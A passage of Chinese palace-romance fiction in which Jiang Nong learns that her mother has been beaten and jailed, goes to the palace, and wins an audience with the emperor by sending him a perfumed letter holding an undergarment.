姜秾再次醒来,已经是三天后了,她揉揉太阳穴,让自己清醒过来,匀檀闻声赶过来,“小姐,您总算醒来了。”说着,她走上前来,将一个靠枕放在姜秾身后。 “我娘呢?”不知道为什么,没看到苏氏,她心里慌慌的。 匀檀面露难色,不知该怎么跟她说,“夫人……她……” 姜秾猛地抓住匀檀的手臂,“我娘怎么了?是不是出事了?” 匀檀不敢隐瞒,哽咽道:“娘娘,夫人去衙门伸冤,谁知那宋鸣志怂恿府尹将夫人给打了三十板子还把她当从犯关起来了,奴婢派人去打听消息,可什么也打听不到!”说完,她的眼泪便汹涌而出。 姜秾气的浑身都在颤抖。 她原本以为回来一家人在一起会更开心,可她除了给她们带来灾难,什么也没有。 她既护不住自己,也护不住家人。 姜秾闭上眼,眼泪顺着苍白的肌肤滑落,或许她真的错了。 待睁开眼睛时,眼底已成冰凉一片。 “匀檀,随我进宫一趟。” ** 承乾殿外,姜秾被长明拦住去路,“娘娘,皇上之前给您机会您不要,现在皇上说了,他不想见您。” 姜秾猜到皇帝会如此,她之前拂了他的面子,此番他必然会好生刁难她一番,好在过来之前,她已做了心里准备,她从怀里掏出一封带着浓郁香气的书信,递给长明,“公公,既然皇上不愿见妾身,妾身也不强求,劳烦公公将此物交给皇上。” 长明伸手接过去,转身回到殿内,并将书信上呈皇帝。 闻到凝香露的气息,宗焱微微挑眉,伸手接过长明递来的书信,他打开书信一看,一件香气四溢的小衣从信封里掉出来。 宗焱将小衣攥在掌心里,平静的心剧烈的跳动了两下,幽沉的眸子瞬间燃起两簇暗火。 “让她进来。”